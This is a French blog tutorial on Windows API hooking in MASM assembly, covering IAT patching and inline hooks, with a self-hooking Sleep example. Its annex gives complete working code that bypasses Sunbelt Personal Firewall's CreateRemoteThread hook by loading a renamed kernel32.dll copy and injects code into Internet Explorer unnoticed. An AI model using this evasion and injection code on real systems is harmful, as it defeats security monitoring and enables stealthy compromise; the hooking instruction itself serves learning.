Tutoriel réalisé par Faiseur
Niveau: [ Intermédiaire - Confirmé ]
AVANT-PROPOS
Le
détournement d'API est un thème particulier à aborder étant donné qu'il
est régulièrement utilisé de manière à cacher des processus en mémoire
ou leurs fichiers dans le système. On parle alors de rootkits. Mais le
hook d'API peut être utilisé de manière tout à fait constructive et
profitable, par exemple pour permettre à un programme de sécurité de
surveiller votre système ou d'agir en fonction de certaines actions de
l'utilisateur (j'ai par exemple utilisé un hook d'API pour un programme
maison de cryptage de fichiers).
On peut remarquer que c'est
un secret de polichinelle de ne pas avoir d'exemple disponible en
langage assembleur alors qu'il en existe dans d'autres langages
(C/C++/Delphi pour l'essentiel). Certaines personnes font payer des
librairies de ce type bien qu'il soit possible d'en réaliser sans
difficulté pour autant d'en avoir correctement assimilé le principe.
C'est un peu le but souhaité par ce tutoriel, qui est séparé en trois
parties pour passer en revue une méthode de Hook régulièrement
utilisée, en commençant par son squelette jusqu'à son développement
complet. Les exemples proposés sont expliqués en détail. J'espère
qu'ils seront suffisamment simples et clairs pour permettre à tout
amateur sérieux d'en tirer profit. Je dois ici remercier
particulièrement Jag pour son exemple "JagHook" qui m'a servit de
repère.
INTRODUCTION
Il
existe plusieurs moyens pour permettre à un programme d'intercepter des
fonctions API Windows, que je résumerai ici de trois manières bien
qu'il y en ait d'autres:
1. Détournement d'une fonction API par émulation d'une dll système
2. Détournement d'une fonction API par patch d'IAT
3. Détournement d'une fonction API en inline hook
1. Détournement d'une fonction API par émulation d'une dll système
Cette
méthode consiste à forcer le programme cible à charger une dll qui
émule une dll système, par exemple une fausse 'user32.dll'. Avec ce
procédé on peut prendre la main lors de chaque appel de fonction API.
Cette méthode est très puissante mais très fastidieuse puisqu'il vous
faudrait émuler toutes les fonctions d'une dll pour que celle-ci puisse
être chargée en remplacement de l'originale. Or les dll système en
contiennent énormément. De plus depuis Windows Vista en tout cas il est
rendu plus difficile - voir impossible ? - d'émuler correctement une
dll du système par une dll maison. Cette méthode n'est, à ma
connaissance, pas utilisée pour ce type d'application, mais peut être
mise en place plus facilement pour remplacer les fonctions d'une dll
plus petite, par exemple émuler une dll annexe qu'un programme utilise
et ainsi prendre la main.
2. Détournement d'une fonction API par patch d'IAT
Cette
méthode est bien plus simple, il s'agit de patcher l'IAT. Kesako ?
L'IAT, ou l’Import Address Table (table des imports en français), est
une structure placée dans le corps du programme lors de sa compilation.
Cette structure va permettre, lorsque le programme sera exécuté,
d'accéder à l'adresse réelle des fonctions API. En effet les adresses
des API ne sont pas directement connues par le programme. L'IAT est
utilisé comme un tableau que le programme consulte pour accéder aux
adresses réelles d'une fonction API.
Autrement dit: lors de son
exécution le programme est chargé en mémoire, les DLL requises
également. Lors de l’appel à une API le programme fait un call indirect
vers l’IAT, qui retourne vers la véritable adresse de la fonction. Pour
procéder à l'interception d'une fonction API appelée par le programme
il suffit donc de remplacer cette adresse dans l'IAT par l'adresse de
notre fonction d'interception.
Cette méthode est pratique mais souffre de deux problèmes:
- Il n'est pas possible de hook la fonction d'une dll si elle ne se trouve pas dans l'IAT.
-
Il est aisé de contourner cette méthode en se servant de
GetProcAddress. La fonction GetProcAddress permet en effet d’obtenir
l’adresse d’une API dont la DLL est chargée dans l’espace d’adressage
du programme. Cette adresse n'est pas retournée depuis l'IAT mais bel
et bien depuis l’adresse de la première instruction de l’API. Si le
programme appelle l’API via son adresse retournée par GetProcAddress,
le hook n’aura pas lieu.
A titre d'annexe (et comme j'en ai fait un) voici un exemple tout à fait actuel illustrant ce problème. L'exemple
qui suit bypass le hook de Sunbelt Personal Firewall dans sa dernière
version 4.6.1861.
Sunbelt avertit en effet lors de l'utilisation
d'une injection de code, plus précisément lorsqu'un programme fait
appel à l'API "CreateRemoteThread". Nous allons, dans cet exemple,
unhook cette API afin d'injecter du code dans un processus d'Internet
Explorer (s'il existe) sans alerte.
Le procédé est simple:
- le programme fait une copie de la dll "kernel32.dll" sous un autre nom
- charge la dll renommée dans son processus
- appelle les fonctions de cette "nouvelle" dll à la place de l'ancienne
- Code:
; ___________________________________________________
;| |
;| UnHook Sunbelt Firewall by Faiseur |
;| *Functional version* |
;|___________________________________________________|
;| |
;| This version unhook "CreateRemoteThread" API |
;| and inject code in Internet Explorer if run. |
;| UnHook Sunbelt Personal Firewall |
;| in this ultimate version (4.6.1861, april 2010 !) |
;|___________________________________________________|
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
include \masm32\macros\macros.asm
.data?
Pathkernel32 db 261 dup(?)
kernal33 db 261 dup(?)
_CreateRemoteThread dd ?
hMod dd ?
hNewModule dd ?
hProc dd ?
dwPid dd ?
dWritten dd ?
dwTid dd ?
.code
HijackedThread proc
fn MessageBox, 0,"Inject !","Yes", 0
invoke ExitThread, 0
ret
HijackedThread endp
start:
invoke GetSystemDirectory, addr Pathkernel32, MAX_PATH
invoke GetSystemDirectory, addr kernal33,MAX_PATH
fn lstrcat,addr Pathkernel32,"\kernel32.dll"
fn lstrcat, addr kernal33,"\kernal33.dll"
invoke CopyFile, addr Pathkernel32,addr kernal33, FALSE
test eax, eax
jz @F
fn GetProcAddress,FUNC(LoadLibrary,addr kernal33),"CreateRemoteThread"
test eax, eax
jz @F
mov _CreateRemoteThread, eax
mov hMod,FUNC (GetModuleHandle, 0)
invoke GetWindowThreadProcessId,FUNC(FindWindow,chr$("IEFrame"),0), addr dwPid
mov hProc,FUNC (OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwPid)
invoke VirtualFreeEx, hProc, hMod, 0, MEM_RELEASE
invoke WriteProcessMemory,hProc,FUNC(VirtualAllocEx,hProc,hMod,12288,1000h or 2000h,040h),hMod,12288,addr dWritten
push offset dwTid
push 0
push hMod
push offset HijackedThread
push 0
push 0
push hProc
call _CreateRemoteThread ; on Unhook Sunbelt Firewall (ex-Kairo) :)
@@:
invoke ExitProcess,0
end start
Comment
éviter d'être si facilement contourné tout en réalisant un hook simple
comme le patch d'IAT ? Une réponse a été trouvée: plutôt que patcher
l'IAT patcher directement l'API, méthode plus communément appelée
"inline hook".
3. Détournement d'une fonction API en inline hook
Cette
méthode consiste à patcher directement la fonction API que nous
souhaitons détourner. Elle a l'avantage d'être bien moins facilement
contournable qu'un patch d'IAT. Cela peut se faire avec un exécutable
par injection de code ou encore une dll mappée dans le processus cible.
Au
cours des trois parties qui forment ce tutoriel nous allons élaborer
une librairie complète qui permettra de détourner n'importe quelle API
dans un processus cible et également de la désinstaller. J'espère que
les explications qui suivent seront suffisamment détaillées dans leur
progression pour vous permettre de mettre en place votre propre version
d'un Hook, qui est plus simple à faire qu'on ne le pense. Surtout en
langage assembleur car on touche ici à des domaines qui concernent
directement ce langage. Comme vous le verrez il est possible de coder,
en langage assembleur, un exécutable de 2,5ko qui hook par injection un
processus en mémoire. Il est même possible de faire plus petit selon ce
qui sera demandé...
INLINE HOOK
La
méthode inline hook consiste à placer un saut de redirection dès le
début de l’API ciblée. Lorsque notre exécutable va se rendre à
l'adresse de l'API il sera redirigé vers une seconde adresse
correspondant à notre routine d'interception. Pour ce faire, il suffit
de placer au début du code de la fonction cible un saut vers notre
routine d’interception.
Une image vaut mieux qu'un long discours et je me permet d'utiliser ici un schéma trouvé ailleurs:
Explication:
Notre
processus à gauche appelle une fonction API (call API). Cet appel est,
pour rappel, indirect comme nous l'avons vu avec le patch d'IAT. Disons
que notre processus fait un appel à l'API MessageBox. Notre processus
est d'abord envoyé dans le tableau des imports (IAT) qui, ensuite, le
dirige vers l'adresse réelle de la fonction MessageBox. Au début de la
fonction MessageBox nous aurons placé un saut (jmp hook) qui redirige
vers notre routine d'interception, symbolisée dans l'image par le
"handler de hook". Une fois que le "handler de hook" a terminé son
travail, bref une fois que nous aurons terminé notre interception, nous
rendons la main à la fonction originale comme si de rien n'était.
A
présent que le principe a été explique il ne nous reste plus qu'à
mettre cela en pratique. Réalisons donc notre premier hook basique en
assembleur qui va tenir sur...900 octets !
Cet exécutable va s'occuper de:
1. Trouver l'adresse de l'API Sleep
2. Patcher les premières instructions de l'API pour réaliser un saut vers une fonction d'interception.
3. Exécuter notre fonction d'interception lorsque la fonction Sleep est appelée
1. Trouver l'adresse de l'API Sleep
Pour rappel, nous pouvons trouver l'adresse de n'importe quelle fonction API d'une dll de deux manières:
- en nous servant de GetModuleHandle puis GetProcAddress
- en nous servant de LoadLibrary puis GetProcAddress
GetModuleHandle
renvoie le handle si le module est chargé dans l’espace d’adressage du
programme, ou NULL si le module n’est pas chargé dans l’espace
d’adressage. Etant donné que notre hook doit pouvoir être utilisé dans
toutes les situations - et pour préparer le développement à venir de
notre hook - ma préférence va vers LoadLibrary/GetProcAddress.
LoadLibrary
charge la dll en mémoire si elle ne l'y était pas encore, contrairement à
GetModuleHandle. Nous pouvons prévenir les situations où la dll ne serait pas chargée dès le début du programme
et hooker de manière préventive. Dans le cas où la dll
n'était pas chargée, libérer la dll à la fin du programme avec
FreeLibrary serait plus respectueux du codage Windows. Cela est
évidemment difficile à mettre en place puisque nous n'aurons pas la
main du programme à tout moment à moins d'implémenter, par exemple, un hook de l'API ExitProcess.
J'utilise dans mes exemples la macro "LoadProcAddress", qui permet de récupérer l'adresse d'une fonction en une ligne.
2. Patcher les premières instructions de l'API pour réaliser un saut vers une fonction d'interception.
Le patch de la fonction API doit suivre certaines restrictions pour être le plus respectueux possible:
- Patcher dès les premières instructions de la fonction API
- Sauvegarder le code original de la fonction API dans un stub pour l'appeler à la fin de son interception
- Insérer un saut qui ne fasse pas intevenir une variable ou un registre.
Calcul du saut:
Il
s'agit de calculer une adresse mémoire qui sera directement placée
comme référence du saut. Ce ne sera donc pas une valeur placée dans une
variable ou un registre, ce qui compliquerait et rallongerait le code.
Il nous faut trouver un saut qui permet ce saut direct.
Exemple: jmp 800000
Ce
type de saut existe, il s'agit du saut relatif. Le saut relatif
implique que l'adresse doit correspondre à un déplacement par rapport à
l’instruction suivant le saut.
L’instruction du saut relatif 32bits prend 5 octets, elle est codée comme ceci:
- Code:
E9 00 00 00 00
'E9' correspond au code hexadécimal du saut, puis suit l'adresse du saut.
Le calcul de la valeur du déplacement relatif sera pour nous une soustraction suivant cette formule:
[fonction d'interception] – [adresse API] - 5
Explication:
Pour trouver l'adresse de saut
jusqu'à notre fonction d'interception on commence par déduire l'adresse
de notre API étant donné que nous partons déjà de là. C'est comme avoir
fait la moitié d'un chemin: il nous faut calculer la distance restant
jusqu'à l'arrivée, notre fonction d'interception. Il
est nécessaire de déduire également la taille de l'instruction de saut
dans les paramètres pour parfaire le calcul, donc 5 octets.
Avec
cette méthode peu importe si l'adresse de destination est supérieure ou
inférieure à notre adresse de départ. Le résultat du saut nous mènera
toujours à bon port.
3. Exécuter notre fonction d'interception lorsque la fonction Sleep est appelée
Lorsque
le programme arrive sur la fonction ciblée il se trouve redirigé vers
notre fonction d'interception. Rien de spécial à signaler si ce n'est
que cette fonction d'interception doit être capable, une fois qu'elle a
finit son travail, de retourner à l'API d'origine. Pour notre premier exemple, qui se veut le plus simple possible, ce ne sera pas le cas.
EXEMPLE 1
Dans
notre premier exemple nous allons réaliser un programme qui se hook
lui-même. Le hook va intercepter la fonction API "Sleep" qui sera
utilisée trois fois dans le programme. La fonction API Sleep doit
installer une pause, mais ce ne sera plus le cas. Cette pause sera
interceptée et remplacée par une MessageBox. Voici le code au complet.
HookExemple1.asm
- Code:
comment *
Exemple d'interception d'API en user mode de type inline hook
par Faiseur
*
.386
.model FLAT,STDCALL
option casemap:none
include \masm32\include\Windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
include \masm32\macros\macros.asm
.data
targetHook dd 0
.code
ExecuteHook PROC dwMilliseconds:DWORD
fn MessageBox,0,chr$("Fonction API Sleep Hooked !"),"Message",0
ret
ExecuteHook endp
InstallHook proc uses ebx edi hookProc:DWORD, target:DWORD
LOCAL lpflOldProtect:ULONG
mov edi, target
invoke VirtualProtect, edi,5, PAGE_EXECUTE_READWRITE, addr lpflOldProtect
mov eax, hookProc
sub eax, edi
sub eax, 5
mov BYTE PTR [edi], 0E9h
mov [edi + 1], eax
ret
InstallHook endp
start:
LoadProcAddress "kernel32.dll","Sleep"
test eax,eax
je @F
invoke InstallHook, ExecuteHook,eax
invoke Sleep,2000
invoke Sleep,2000
invoke Sleep,2000
@@:
invoke ExitProcess, NULL
end start
Notez la petitesse du code !
ANALYSE DE L'EXEMPLE 1
On utilise une macro pour retourner dans le registre EAX l'adresse de la fonction souhaitée:
- Code:
LoadProcAddress "kernel32.dll","Sleep"
On lance la procédure pour installer le Hook:
- Code:
invoke InstallHook, ExecuteHook,eax
La procédure de Hook récupère l'adresse de notre fonction d'interception (hookProc) et l'adresse de l'API cible (target):
- Code:
InstallHook proc uses ebx edi hookProc:DWORD, target:DWORD
Voici
notre procédure de Hook qui fait tout le travail, il y a très peu de
code mais il est pleinement fonctionnel. Nous avons ici le noyau d'un
hook qui sera progressivement développé:
- Code:
InstallHook proc uses ebx edi hookProc:DWORD, target:DWORD
LOCAL lpflOldProtect:ULONG
mov edi, target
invoke VirtualProtect, edi,5, PAGE_EXECUTE_READWRITE, addr lpflOldProtect
mov eax, hookProc
sub eax, edi
sub eax, 5
mov BYTE PTR [edi], 0E9h
mov [edi + 1], eax
ret
InstallHook endp
Explication:
Nous plaçons dans le registre EDI l'adresse de la fonction Sleep (target).
Il
faut ensuite permettre l'accès en écriture dans la partie de la mémoire correspondant à l'API Sleep
pour modifier ses premières instructions (5 octets uniquement pour la
taille de l'instruction de saut), ce que l'on fait en nous servant de
l'API "VirtualProtect".
Comme vu plus haut nous calculons la
valeur du saut à effectuer: fonction d'interception (hookProc) moins
API Sleep moins longueur de l'instruction de saut.
- Code:
mov eax, hookProc
sub eax, edi
sub eax, 5
Il
ne reste plus qu'à patcher le début de l'API ciblée avec notre saut
relatif. Le saut relatif correspond au code 'E9' que nous plaçons en
premier. Puis l'adresse du saut relatif est placée à l'octet suivant.
- Code:
mov BYTE PTR [edi], 0E9h
mov [edi + 1], eax
La fonction d'interception est la suivante:
- Code:
ExecuteHook PROC dwMilliseconds:DWORD
fn MessageBox,0,chr$("Fonction API Sleep Hooked !"),"Message",0
ret
ExecuteHook endp
Résultat: 'ExecuteHook' va afficher une MessageBox à chaque appel de la fonction 'Sleep' :)
Note: en
utilisant polink avec les bons paramètres de compilation vous pouvez en
faire un exécutable étonnamment petit (inférieur à 1ko, si si).
Ce
Hook est très basique. Il ne tient pas compte de plusieurs paramètres
utiles qui seront développés dans la deuxième et troisième partie.
Faiseur

0 commentaires:
Enregistrer un commentaire